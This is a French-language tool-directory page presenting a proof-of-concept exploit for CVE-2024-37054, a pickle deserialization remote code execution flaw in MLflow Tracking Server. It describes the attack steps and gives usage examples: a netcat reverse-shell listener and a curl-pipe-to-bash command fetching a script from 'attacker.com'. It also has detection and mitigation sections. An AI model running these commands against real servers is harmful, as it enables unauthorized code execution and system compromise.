Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-37054 — Exploit de preuve de concept pour CVE-2024-37054, une RCE par désérialisation pickle dans MLflow Tracking Server. Automatise l'écrasement d'artefact et la livraison de charge utile pour une exécution de code à distance authentifiée. | Kitploit
Outils/GitHubGitHub/ben-slates/cve-2024-37054
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Exploit de preuve de concept pour CVE-2024-37054, une RCE par désérialisation pickle dans MLflow Tracking Server. Automatise l'écrasement d'artefact et la livraison de charge utile pour une exécution de code à distance authentifiée.

Voir le dépôt
5il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-37054 — RCE par désérialisation Pickle de MLflow

Python CVE CVSS Affected License

Preuve de concept d'exploitation d'une vulnérabilité critique de désérialisation Pickle dans MLflow Tracking Server, permettant l'exécution de code à distance avec authentification.

⚠️ Uniquement à des fins éducatives et de tests de sécurité autorisés. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.


Aperçu de la vulnérabilité

Description

Le serveur de suivi MLflow désérialise les artefacts de modèle via le module pickle de Python lors du chargement des modèles pour l'inférence. Un attaquant authentifié peut écraser l'artefact python_model.pkl dans le dépôt d'artefacts de MLflow avec une charge utile pickle malveillante. Lorsque le modèle est ensuite chargé (par exemple lors d'une requête de prédiction), la charge utile est désérialisée, exécutant du code arbitraire sur le serveur.

Prérequis pour l'exploitation :

  • Accès réseau au serveur de suivi MLflow
  • Identifiants MLflow valides (par défaut ou autres)
  • Accès en écriture aux artefacts (accordé à tous les utilisateurs authentifiés)

Impact

Une exploitation réussie permet l'exécution de code à distance au niveau de privilège du processus serveur MLflow, ce qui peut entraîner une compromission totale du système, l'exfiltration de données, un mouvement latéral ou un accès persistant.


Fonctionnement de l'exploitation

  1. Enregistrement du modèle — Un ensemble de données d'entraînement légitime est téléchargé pour créer une nouvelle exécution MLflow et enregistrer une version de modèle avec des artefacts standard.
  2. Réécriture de l'artefact — L'artefact python_model.pkl est remplacé par une charge utile pickle fabriquée via PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. Déclenchement de la désérialisation — Une requête de prédiction amène MLflow à appeler pickle.load() sur l'artefact compromis.
  4. Exécution de code — La méthode __reduce__ du pickle invoque os.system(), exécutant la commande de l'attaquant.

La charge utile utilise os.system() (une primitive C) plutôt que cloudpickle pour maximiser la compatibilité entre versions et éviter les problèmes de bytecode spécifiques à une version de Python.


Installation

Prérequis : Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Utilisation

root@kitploit:~
# Démarrer un écouteur
nc -lvnp 4444

# Lancer l'exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Exemples

root@kitploit:~
# Identifiants par défaut, reverse shell basique
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Identifiants MLflow personnalisés
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# Connexion application + identifiants MLflow
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Commande personnalisée au lieu du reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Cibler une expérience spécifique, augmenter le délai pour les serveurs lents
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Sortie verbeuse
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Options


Détection

Indicateurs réseau

  • Requêtes PUT vers les points de terminaison /api/2.0/mlflow-artifacts/artifacts/
  • Horodatages de modification inattendus sur python_model.pkl
  • POST /api/2.0/mlflow/runs/search suivi immédiatement de modifications d'artefacts

Indicateurs hôte

  • Appels os.system() inattendus provenant des processus MLflow
  • Sous-processus Python générés par les processus de travail MLflow
  • Connexions sortantes du serveur MLflow vers des hôtes inconnus

Requêtes de journal

root@kitploit:~
# Modification d'artefact dans les journaux d'accès
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# Surveillance de l'intégrité des fichiers
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Atténuation

Immédiates :

  • Mettre à niveau MLflow vers 2.14.3 ou une version ultérieure
  • Révoquer les identifiants par défaut ou faibles
  • Restreindre l'accès réseau aux points de terminaison de l'API MLflow
  • Auditer l'historique des modifications d'artefacts pour détecter des signes de falsification

À long terme :

  • Mettre en œuvre la signature des artefacts et la vérification d'intégrité avant de charger les modèles
  • Utiliser l'application de la signature des modèles et restreindre les variantes de modèles basées sur Pickle dans la mesure du possible
  • Activer la journalisation d'audit MLflow et alerter en cas d'écritures d'artefacts inattendues

Environnements testés

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Diverses configurations de déploiement : local, Docker, Kubernetes

Références

  • NVD — CVE-2024-37054
  • MLflow Security Advisory
  • CWE-502: Deserialization of Untrusted Data
  • MLflow Documentation — Model Registry

Avertissement

Cet outil est destiné uniquement à :

  • Chercheurs en sécurité étudiant les vulnérabilités de désérialisation
  • Testeurs d'intrusion opérant sous autorisation écrite
  • Administrateurs système auditant leurs propres déploiements MLflow
  • Utilisation éducative dans des environnements de laboratoire contrôlés

N'utilisez pas cet outil sur un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive.


Licence

MIT — voir LICENSE pour plus de détails.


Contact

📧 [email protected]
🐛 Signaler un problème

Télécharger l’outil
ChampValeur
ID CVECVE-2024-37054
Score CVSS8.8 (ÉLEVÉ)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versions affectéesMLflow < 2.14.3
Version corrigéeMLflow ≥ 2.14.3
Type de vulnérabilitéCWE-502 : Désérialisation de données non fiables
Vecteur d'attaqueRéseau
Privilèges requisFaible (identifiants valides)
Interaction utilisateurAucune
ArgumentDescription
targetURL de l'application cible
mlflowURL du serveur de suivi MLflow
lhostHôte attaquant pour le callback du reverse shell
lportPort attaquant pour le callback du reverse shell
--mlflow-creds USER:PASSIdentifiants MLflow (par défaut : admin:password)
--app-usernameNom d'utilisateur pour la connexion à l'application
--app-passwordMot de passe pour la connexion à l'application
--app-login-urlChemin du point de terminaison de connexion
--upload-urlChemin du point de terminaison de téléversement
--predict-urlChemin du point de terminaison de prédiction
--experiment-id IDCibler un ID d'expérience spécifique
--delay SECONDSDélai entre les étapes (par défaut : 2s)
--cmd COMMANDCommande personnalisée à exécuter
--verbose / --quietContrôle de la verbosité
--no-colorDésactiver la sortie colorée